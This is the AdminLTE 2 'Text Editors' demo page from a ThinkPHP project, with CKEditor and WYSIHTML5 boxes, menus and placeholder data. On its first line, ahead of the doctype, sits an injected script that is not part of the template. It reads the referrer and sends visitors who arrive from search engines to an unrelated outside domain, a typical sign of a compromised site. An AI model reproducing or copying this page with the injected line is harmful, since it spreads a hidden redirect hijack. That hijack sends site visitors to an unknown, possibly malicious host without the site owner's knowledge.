d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\forms\editors.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <html>
003: <head>
004:   <meta charset="utf-8">
005:   <meta http-equiv="X-UA-Compatible" content="IE=edge">
006:   <title>AdminLTE 2 | Editors</title>
007:   <!-- Tell the browser to be responsive to screen width -->
008:   <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:   <!-- Bootstrap 3.3.7 -->
010:   <link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:   <!-- Font Awesome -->
012:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:   <!-- Ionicons -->
014:   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:   <!-- Theme style -->
016:   <link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
017:   <!-- AdminLTE Skins. Choose a skin from the css/skins
018:        folder instead of downloading all of them to reduce the load. -->

019:   <link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
020:   <!-- bootstrap wysihtml5 - text editor -->
021:   <link rel="stylesheet" href="../../plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.min.css">
022:
023:   <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
024:   <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
025:   <!--[if lt IE 9]>
026:   <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
027:   <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
028:   <![endif]-->

029:
030:   <!-- Google Font -->
031:   <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
032: </head>
033: <body class="hold-transition skin-blue sidebar-mini">
034: <div class="wrapper">
035:
036:   <header class="main-header">
037:     <!-- Logo -->
038:     <a href="../../index2.html" class="logo">
039:       <!-- mini logo for sidebar mini 50x50 pixels -->
040:       <span class="logo-mini"><b>A</b>LT</span>
041:       <!-- logo for regular state and mobile devices -->
042:       <span class="logo-lg"><b>Admin</b>LTE</span>
043:     </a>
044:     <!-- Header Navbar: style can be found in header.less -->
045:     <nav class="navbar navbar-static-top">
046:       <!-- Sidebar toggle button-->
047:       <a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">
048:         <span class="sr-only">Toggle navigation</span>
049:         <span class="icon-bar"></span>
050:         <span class="icon-bar"></span>
051:         <span class="icon-bar"></span>
052:       </a>
053:
054:       <div class="navbar-custom-menu">
055:         <ul class="nav navbar-nav">
056:           <!-- Messages: style can be found in dropdown.less-->
057:           <li class="dropdown messages-menu">
058:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
059:               <i class="fa fa-envelope-o"></i>
060:               <span class="label label-success">4</span>
061:             </a>
062:             <ul class="dropdown-menu">
063:               <li class="header">You have 4 messages</li>
064:               <li>
065:                 <!-- inner menu: contains the actual data -->
066:                 <ul class="menu">
067:                   <li><!-- start message -->
068:                     <a href="#">
069:                       <div class="pull-left">
070:                         <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
071:                       </div>
072:                       <h4>
073:                         Support Team
074:                         <small><i class="fa fa-clock-o"></i> 5 mins</small>
075:                       </h4>
076:                       <p>Why not buy a new awesome theme?</p>
077:                     </a>
078:                   </li>
079:                   <!-- end message -->
080:                   <li>
081:                     <a href="#">
082:                       <div class="pull-left">
083:                         <img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
084:                       </div>
085:                       <h4>
086:                         AdminLTE Design Team
087:                         <small><i class="fa fa-clock-o"></i> 2 hours</small>
088:                       </h4>
089:                       <p>Why not buy a new awesome theme?</p>
090:                     </a>
091:                   </li>
092:                   <li>
093:                     <a href="#">
094:                       <div class="pull-left">
095:                         <img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
096:                       </div>
097:                       <h4>
098:                         Developers
099:                         <small><i class="fa fa-clock-o"></i> Today</small>
100:                       </h4>
101:                       <p>Why not buy a new awesome theme?</p>
102:                     </a>
103:                   </li>
104:                   <li>
105:                     <a href="#">
106:                       <div class="pull-left">
107:                         <img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
108:                       </div>
109:                       <h4>
110:                         Sales Department
111:                         <small><i class="fa fa-clock-o"></i> Yesterday</small>
112:                       </h4>
113:                       <p>Why not buy a new awesome theme?</p>
114:                     </a>
115:                   </li>
116:                   <li>
117:                     <a href="#">
118:                       <div class="pull-left">
119:                         <img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
120:                       </div>
121:                       <h4>
122:                         Reviewers
123:                         <small><i class="fa fa-clock-o"></i> 2 days</small>
124:                       </h4>
125:                       <p>Why not buy a new awesome theme?</p>
126:                     </a>
127:                   </li>
128:                 </ul>
129:               </li>
130:               <li class="footer"><a href="#">See All Messages</a></li>
131:             </ul>
132:           </li>
133:           <!-- Notifications: style can be found in dropdown.less -->
134:           <li class="dropdown notifications-menu">
135:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
136:               <i class="fa fa-bell-o"></i>
137:               <span class="label label-warning">10</span>
138:             </a>
139:             <ul class="dropdown-menu">
140:               <li class="header">You have 10 notifications</li>
141:               <li>
142:                 <!-- inner menu: contains the actual data -->
143:                 <ul class="menu">
144:                   <li>
145:                     <a href="#">
146:                       <i class="fa fa-users text-aqua"></i> 5 new members joined today
147:                     </a>
148:                   </li>
149:                   <li>
150:                     <a href="#">
151:                       <i class="fa fa-warning text-yellow"></i> Very long description here that may not fit into the
152:                       page and may cause design problems
153:                     </a>
154:                   </li>
155:                   <li>
156:                     <a href="#">
157:                       <i class="fa fa-users text-red"></i> 5 new members joined
158:                     </a>
159:                   </li>
160:                   <li>
161:                     <a href="#">
162:                       <i class="fa fa-shopping-cart text-green"></i> 25 sales made
163:                     </a>
164:                   </li>
165:                   <li>
166:                     <a href="#">
167:                       <i class="fa fa-user text-red"></i> You changed your username
168:                     </a>
169:                   </li>
170:                 </ul>
171:               </li>
172:               <li class="footer"><a href="#">View all</a></li>
173:             </ul>
174:           </li>
175:           <!-- Tasks: style can be found in dropdown.less -->
176:           <li class="dropdown tasks-menu">
177:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
178:               <i class="fa fa-flag-o"></i>
179:               <span class="label label-danger">9</span>
180:             </a>
181:             <ul class="dropdown-menu">
182:               <li class="header">You have 9 tasks</li>
183:               <li>
184:                 <!-- inner menu: contains the actual data -->
185:                 <ul class="menu">
186:                   <li><!-- Task item -->
187:                     <a href="#">
188:                       <h3>
189:                         Design some buttons
190:                         <small class="pull-right">20%</small>
191:                       </h3>
192:                       <div class="progress xs">
193:                         <div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
194:                           <span class="sr-only">20% Complete</span>
195:                         </div>
196:                       </div>
197:                     </a>
198:                   </li>
199:                   <!-- end task item -->
200:                   <li><!-- Task item -->
201:                     <a href="#">
202:                       <h3>
203:                         Create a nice theme
204:                         <small class="pull-right">40%</small>
205:                       </h3>
206:                       <div class="progress xs">
207:                         <div class="progress-bar progress-bar-green" style="width: 40%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
208:                           <span class="sr-only">40% Complete</span>
209:                         </div>
210:                       </div>
211:                     </a>
212:                   </li>
213:                   <!-- end task item -->
214:                   <li><!-- Task item -->
215:                     <a href="#">
216:                       <h3>
217:                         Some task I need to do
218:                         <small class="pull-right">60%</small>
219:                       </h3>
220:                       <div class="progress xs">
221:                         <div class="progress-bar progress-bar-red" style="width: 60%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
222:                           <span class="sr-only">60% Complete</span>
223:                         </div>
224:                       </div>
225:                     </a>
226:                   </li>
227:                   <!-- end task item -->
228:                   <li><!-- Task item -->
229:                     <a href="#">
230:                       <h3>
231:                         Make beautiful transitions
232:                         <small class="pull-right">80%</small>
233:                       </h3>
234:                       <div class="progress xs">
235:                         <div class="progress-bar progress-bar-yellow" style="width: 80%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
236:                           <span class="sr-only">80% Complete</span>
237:                         </div>
238:                       </div>
239:                     </a>
240:                   </li>
241:                   <!-- end task item -->
242:                 </ul>
243:               </li>
244:               <li class="footer">
245:                 <a href="#">View all tasks</a>
246:               </li>
247:             </ul>
248:           </li>
249:           <!-- User Account: style can be found in dropdown.less -->
250:           <li class="dropdown user user-menu">
251:             <a href="#" class="dropdown-toggle" data-toggle="dropdown">
252:               <img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
253:               <span class="hidden-xs">Alexander Pierce</span>
254:             </a>
255:             <ul class="dropdown-menu">
256:               <!-- User image -->
257:               <li class="user-header">
258:                 <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
259:
260:                 <p>
261:                   Alexander Pierce - Web Developer
262:                   <small>Member since Nov. 2012</small>
263:                 </p>
264:               </li>
265:               <!-- Menu Body -->
266:               <li class="user-body">
267:                 <div class="row">
268:                   <div class="col-xs-4 text-center">
269:                     <a href="#">Followers</a>
270:                   </div>
271:                   <div class="col-xs-4 text-center">
272:                     <a href="#">Sales</a>
273:                   </div>
274:                   <div class="col-xs-4 text-center">
275:                     <a href="#">Friends</a>
276:                   </div>
277:                 </div>
278:                 <!-- /.row -->
279:               </li>
280:               <!-- Menu Footer-->
281:               <li class="user-footer">
282:                 <div class="pull-left">
283:                   <a href="#" class="btn btn-default btn-flat">Profile</a>
284:                 </div>
285:                 <div class="pull-right">
286:                   <a href="#" class="btn btn-default btn-flat">Sign out</a>
287:                 </div>
288:               </li>
289:             </ul>
290:           </li>
291:           <!-- Control Sidebar Toggle Button -->
292:           <li>
293:             <a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a>
294:           </li>
295:         </ul>
296:       </div>
297:     </nav>
298:   </header>
299:   <!-- Left side column. contains the logo and sidebar -->
300:   <aside class="main-sidebar">
301:     <!-- sidebar: style can be found in sidebar.less -->
302:     <section class="sidebar">
303:       <!-- Sidebar user panel -->
304:       <div class="user-panel">
305:         <div class="pull-left image">
306:           <img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
307:         </div>
308:         <div class="pull-left info">
309:           <p>Alexander Pierce</p>
310:           <a href="#"><i class="fa fa-circle text-success"></i> Online</a>
311:         </div>
312:       </div>
313:       <!-- search form -->
314:       <form action="#" method="get" class="sidebar-form">
315:         <div class="input-group">
316:           <input type="text" name="q" class="form-control" placeholder="Search...">
317:               <span class="input-group-btn">
318:                 <button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i>
319:                 </button>
320:               </span>
321:         </div>
322:       </form>
323:       <!-- /.search form -->
324:       <!-- sidebar menu: : style can be found in sidebar.less -->
325:       <ul class="sidebar-menu" data-widget="tree">
326:         <li class="header">MAIN NAVIGATION</li>
327:         <li class="treeview">
328:           <a href="#">
329:             <i class="fa fa-dashboard"></i> <span>Dashboard</span>
330:             <span class="pull-right-container">
331:               <i class="fa fa-angle-left pull-right"></i>
332:             </span>
333:           </a>
334:           <ul class="treeview-menu">
335:             <li><a href="../../index.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li>
336:             <li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li>
337:           </ul>
338:         </li>
339:         <li class="treeview">
340:           <a href="#">
341:             <i class="fa fa-files-o"></i>
342:             <span>Layout Options</span>
343:             <span class="pull-right-container">
344:               <span class="label label-primary pull-right">4</span>
345:             </span>
346:           </a>
347:           <ul class="treeview-menu">
348:             <li><a href="../layout/top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li>
349:             <li><a href="../layout/boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li>
350:             <li><a href="../layout/fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li>
351:             <li><a href="../layout/collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li>
352:           </ul>
353:         </li>
354:         <li>
355:           <a href="../widgets.html">
356:             <i class="fa fa-th"></i> <span>Widgets</span>
357:             <span class="pull-right-container">
358:               <small class="label pull-right bg-green">new</small>
359:             </span>
360:           </a>
361:         </li>
362:         <li class="treeview">
363:           <a href="#">
364:             <i class="fa fa-pie-chart"></i>
365:             <span>Charts</span>
366:             <span class="pull-right-container">
367:               <i class="fa fa-angle-left pull-right"></i>
368:             </span>
369:           </a>
370:           <ul class="treeview-menu">
371:             <li><a href="../charts/chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li>
372:             <li><a href="../charts/morris.html"><i class="fa fa-circle-o"></i> Morris</a></li>
373:             <li><a href="../charts/flot.html"><i class="fa fa-circle-o"></i> Flot</a></li>
374:             <li><a href="../charts/inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li>
375:           </ul>
376:         </li>
377:         <li class="treeview">
378:           <a href="#">
379:             <i class="fa fa-laptop"></i>
380:             <span>UI Elements</span>
381:             <span class="pull-right-container">
382:               <i class="fa fa-angle-left pull-right"></i>
383:             </span>
384:           </a>
385:           <ul class="treeview-menu">
386:             <li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li>
387:             <li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li>
388:             <li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li>
389:             <li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li>
390:             <li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li>
391:             <li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li>
392:           </ul>
393:         </li>
394:         <li class="treeview active">
395:           <a href="#">
396:             <i class="fa fa-edit"></i> <span>Forms</span>
397:             <span class="pull-right-container">
398:               <i class="fa fa-angle-left pull-right"></i>
399:             </span>
400:           </a>
401:           <ul class="treeview-menu">
402:             <li><a href="general.html"><i class="fa fa-circle-o"></i> General Elements</a></li>
403:             <li><a href="advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li>
404:             <li class="active"><a href="editors.html"><i class="fa fa-circle-o"></i> Editors</a></li>
405:           </ul>
406:         </li>
407:         <li class="treeview">
408:           <a href="#">
409:             <i class="fa fa-table"></i> <span>Tables</span>
410:             <span class="pull-right-container">
411:               <i class="fa fa-angle-left pull-right"></i>
412:             </span>
413:           </a>
414:           <ul class="treeview-menu">
415:             <li><a href="../tables/simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li>
416:             <li><a href="../tables/data.html"><i class="fa fa-circle-o"></i> Data tables</a></li>
417:           </ul>
418:         </li>
419:         <li>
420:           <a href="../calendar.html">
421:             <i class="fa fa-calendar"></i> <span>Calendar</span>
422:             <span class="pull-right-container">
423:               <small class="label pull-right bg-red">3</small>
424:               <small class="label pull-right bg-blue">17</small>
425:             </span>
426:           </a>
427:         </li>
428:         <li>
429:           <a href="../mailbox/mailbox.html">
430:             <i class="fa fa-envelope"></i> <span>Mailbox</span>
431:             <span class="pull-right-container">
432:               <small class="label pull-right bg-yellow">12</small>
433:               <small class="label pull-right bg-green">16</small>
434:               <small class="label pull-right bg-red">5</small>
435:             </span>
436:           </a>
437:         </li>
438:         <li class="treeview">
439:           <a href="#">
440:             <i class="fa fa-folder"></i> <span>Examples</span>
441:             <span class="pull-right-container">
442:               <i class="fa fa-angle-left pull-right"></i>
443:             </span>
444:           </a>
445:           <ul class="treeview-menu">
446:             <li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li>
447:             <li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li>
448:             <li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li>
449:             <li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li>
450:             <li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li>
451:             <li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li>
452:             <li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li>
453:             <li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li>
454:             <li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li>
455:           </ul>
456:         </li>
457:         <li class="treeview">
458:           <a href="#">
459:             <i class="fa fa-share"></i> <span>Multilevel</span>
460:             <span class="pull-right-container">
461:               <i class="fa fa-angle-left pull-right"></i>
462:             </span>
463:           </a>
464:           <ul class="treeview-menu">
465:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
466:             <li class="treeview">
467:               <a href="#"><i class="fa fa-circle-o"></i> Level One
468:                 <span class="pull-right-container">
469:                   <i class="fa fa-angle-left pull-right"></i>
470:                 </span>
471:               </a>
472:               <ul class="treeview-menu">
473:                 <li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li>
474:                 <li class="treeview">
475:                   <a href="#"><i class="fa fa-circle-o"></i> Level Two
476:                     <span class="pull-right-container">
477:                       <i class="fa fa-angle-left pull-right"></i>
478:                     </span>
479:                   </a>
480:                   <ul class="treeview-menu">
481:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
482:                     <li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
483:                   </ul>
484:                 </li>
485:               </ul>
486:             </li>
487:             <li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
488:           </ul>
489:         </li>
490:         <li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li>
491:         <li class="header">LABELS</li>
492:         <li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li>
493:         <li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li>
494:         <li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li>
495:       </ul>
496:     </section>
497:     <!-- /.sidebar -->
498:   </aside>
499:
500:   <!-- Content Wrapper. Contains page content -->
501:   <div class="content-wrapper">
502:     <!-- Content Header (Page header) -->
503:     <section class="content-header">
504:       <h1>
505:         Text Editors
506:         <small>Advanced form element</small>
507:       </h1>
508:       <ol class="breadcrumb">
509:         <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
510:         <li><a href="#">Forms</a></li>
511:         <li class="active">Editors</li>
512:       </ol>
513:     </section>
514:
515:     <!-- Main content -->
516:     <section class="content">
517:       <div class="row">
518:         <div class="col-md-12">
519:           <div class="box box-info">
520:             <div class="box-header">
521:               <h3 class="box-title">CK Editor
522:                 <small>Advanced and full of features</small>
523:               </h3>
524:               <!-- tools box -->
525:               <div class="pull-right box-tools">
526:                 <button type="button" class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse">
527:                   <i class="fa fa-minus"></i></button>
528:                 <button type="button" class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove">
529:                   <i class="fa fa-times"></i></button>
530:               </div>
531:               <!-- /. tools -->
532:             </div>
533:             <!-- /.box-header -->
534:             <div class="box-body pad">
535:               <form>
536:                     <textarea id="editor1" name="editor1" rows="10" cols="80">
537:                                             This is my textarea to be replaced with CKEditor.
538:                     </textarea>
539:               </form>
540:             </div>
541:           </div>
542:           <!-- /.box -->
543:
544:           <div class="box">
545:             <div class="box-header">
546:               <h3 class="box-title">Bootstrap WYSIHTML5
547:                 <small>Simple and fast</small>
548:               </h3>
549:               <!-- tools box -->
550:               <div class="pull-right box-tools">
551:                 <button type="button" class="btn btn-default btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse">
552:                   <i class="fa fa-minus"></i></button>
553:                 <button type="button" class="btn btn-default btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove">
554:                   <i class="fa fa-times"></i></button>
555:               </div>
556:               <!-- /. tools -->
557:             </div>
558:             <!-- /.box-header -->
559:             <div class="box-body pad">
560:               <form>
561:                 <textarea class="textarea" placeholder="Place some text here" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"></textarea>
562:               </form>
563:             </div>
564:           </div>
565:         </div>
566:         <!-- /.col-->
567:       </div>
568:       <!-- ./row -->
569:     </section>
570:     <!-- /.content -->
571:   </div>
572:   <!-- /.content-wrapper -->
573:   <footer class="main-footer">
574:     <div class="pull-right hidden-xs">
575:       <b>Version</b> 2.4.0
576:     </div>
577:     <strong>Copyright &copy; 2014-2016 <a href="https://adminlte.io">Almsaeed Studio</a>.</strong> All rights
578:     reserved.
579:   </footer>
580:
581:   <!-- Control Sidebar -->
582:   <aside class="control-sidebar control-sidebar-dark">
583:     <!-- Create the tabs -->
584:     <ul class="nav nav-tabs nav-justified control-sidebar-tabs">
585:       <li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>
586:       <li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li>
587:     </ul>
588:     <!-- Tab panes -->
589:     <div class="tab-content">
590:       <!-- Home tab content -->
591:       <div class="tab-pane" id="control-sidebar-home-tab">
592:         <h3 class="control-sidebar-heading">Recent Activity</h3>
593:         <ul class="control-sidebar-menu">
594:           <li>
595:             <a href="javascript:void(0)">
596:               <i class="menu-icon fa fa-birthday-cake bg-red"></i>
597:
598:               <div class="menu-info">
599:                 <h4 class="control-sidebar-subheading">Langdon's Birthday</h4>
600:
601:                 <p>Will be 23 on April 24th</p>
602:               </div>
603:             </a>
604:           </li>
605:           <li>
606:             <a href="javascript:void(0)">
607:               <i class="menu-icon fa fa-user bg-yellow"></i>
608:
609:               <div class="menu-info">
610:                 <h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4>
611:
612:                 <p>New phone +1(800)555-1234</p>
613:               </div>
614:             </a>
615:           </li>
616:           <li>
617:             <a href="javascript:void(0)">
618:               <i class="menu-icon fa fa-envelope-o bg-light-blue"></i>
619:
620:               <div class="menu-info">
621:                 <h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4>
622:
623:                 <p>nora@example.com</p>
624:               </div>
625:             </a>
626:           </li>
627:           <li>
628:             <a href="javascript:void(0)">
629:               <i class="menu-icon fa fa-file-code-o bg-green"></i>
630:
631:               <div class="menu-info">
632:                 <h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4>
633:
634:                 <p>Execution time 5 seconds</p>
635:               </div>
636:             </a>
637:           </li>
638:         </ul>
639:         <!-- /.control-sidebar-menu -->
640:
641:         <h3 class="control-sidebar-heading">Tasks Progress</h3>
642:         <ul class="control-sidebar-menu">
643:           <li>
644:             <a href="javascript:void(0)">
645:               <h4 class="control-sidebar-subheading">
646:                 Custom Template Design
647:                 <span class="label label-danger pull-right">70%</span>
648:               </h4>
649:
650:               <div class="progress progress-xxs">
651:                 <div class="progress-bar progress-bar-danger" style="width: 70%"></div>
652:               </div>
653:             </a>
654:           </li>
655:           <li>
656:             <a href="javascript:void(0)">
657:               <h4 class="control-sidebar-subheading">
658:                 Update Resume
659:                 <span class="label label-success pull-right">95%</span>
660:               </h4>
661:
662:               <div class="progress progress-xxs">
663:                 <div class="progress-bar progress-bar-success" style="width: 95%"></div>
664:               </div>
665:             </a>
666:           </li>
667:           <li>
668:             <a href="javascript:void(0)">
669:               <h4 class="control-sidebar-subheading">
670:                 Laravel Integration
671:                 <span class="label label-warning pull-right">50%</span>
672:               </h4>
673:
674:               <div class="progress progress-xxs">
675:                 <div class="progress-bar progress-bar-warning" style="width: 50%"></div>
676:               </div>
677:             </a>
678:           </li>
679:           <li>
680:             <a href="javascript:void(0)">
681:               <h4 class="control-sidebar-subheading">
682:                 Back End Framework
683:                 <span class="label label-primary pull-right">68%</span>
684:               </h4>
685:
686:               <div class="progress progress-xxs">
687:                 <div class="progress-bar progress-bar-primary" style="width: 68%"></div>
688:               </div>
689:             </a>
690:           </li>
691:         </ul>
692:         <!-- /.control-sidebar-menu -->
693:
694:       </div>
695:       <!-- /.tab-pane -->
696:       <!-- Stats tab content -->
697:       <div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>
698:       <!-- /.tab-pane -->
699:       <!-- Settings tab content -->
700:       <div class="tab-pane" id="control-sidebar-settings-tab">
701:         <form method="post">
702:           <h3 class="control-sidebar-heading">General Settings</h3>
703:
704:           <div class="form-group">
705:             <label class="control-sidebar-subheading">
706:               Report panel usage
707:               <input type="checkbox" class="pull-right" checked>
708:             </label>
709:
710:             <p>
711:               Some information about this general settings option
712:             </p>
713:           </div>
714:           <!-- /.form-group -->
715:
716:           <div class="form-group">
717:             <label class="control-sidebar-subheading">
718:               Allow mail redirect
719:               <input type="checkbox" class="pull-right" checked>
720:             </label>
721:
722:             <p>
723:               Other sets of options are available
724:             </p>
725:           </div>
726:           <!-- /.form-group -->
727:
728:           <div class="form-group">
729:             <label class="control-sidebar-subheading">
730:               Expose author name in posts
731:               <input type="checkbox" class="pull-right" checked>
732:             </label>
733:
734:             <p>
735:               Allow the user to show his name in blog posts
736:             </p>
737:           </div>
738:           <!-- /.form-group -->
739:
740:           <h3 class="control-sidebar-heading">Chat Settings</h3>
741:
742:           <div class="form-group">
743:             <label class="control-sidebar-subheading">
744:               Show me as online
745:               <input type="checkbox" class="pull-right" checked>
746:             </label>
747:           </div>
748:           <!-- /.form-group -->
749:
750:           <div class="form-group">
751:             <label class="control-sidebar-subheading">
752:               Turn off notifications
753:               <input type="checkbox" class="pull-right">
754:             </label>
755:           </div>
756:           <!-- /.form-group -->
757:
758:           <div class="form-group">
759:             <label class="control-sidebar-subheading">
760:               Delete chat history
761:               <a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a>
762:             </label>
763:           </div>
764:           <!-- /.form-group -->
765:         </form>
766:       </div>
767:       <!-- /.tab-pane -->
768:     </div>
769:   </aside>
770:   <!-- /.control-sidebar -->
771:   <!-- Add the sidebar's background. This div must be placed
772:        immediately after the control sidebar -->

773:   <div class="control-sidebar-bg"></div>
774: </div>
775: <!-- ./wrapper -->
776:
777: <!-- jQuery 3.1.1 -->
778: <script src="../../plugins/jQuery/jquery-3.1.1.min.js"></script>
779: <!-- Bootstrap 3.3.7 -->
780: <script src="../../bootstrap/js/bootstrap.min.js"></script>
781: <!-- FastClick -->
782: <script src="../../plugins/fastclick/fastclick.js"></script>
783: <!-- AdminLTE App -->
784: <script src="../../dist/js/adminlte.min.js"></script>
785: <!-- AdminLTE for demo purposes -->
786: <script src="../../dist/js/demo.js"></script>
787: <!-- CK Editor -->
788: <script src="https://cdn.ckeditor.com/4.5.7/standard/ckeditor.js"></script>
789: <!-- Bootstrap WYSIHTML5 -->
790: <script src="../../plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.all.min.js"></script>
791: <script>
792:   $(function () {
793:     // Replace the <textarea id="editor1"> with a CKEditor
794:     // instance, using default configuration.
795:     CKEDITOR.replace('editor1');
796:     //bootstrap WYSIHTML5 - text editor
797:     $(".textarea").wysihtml5();
798:   });
799: </script>
800: </body>
801: </html>
802:
803:
804: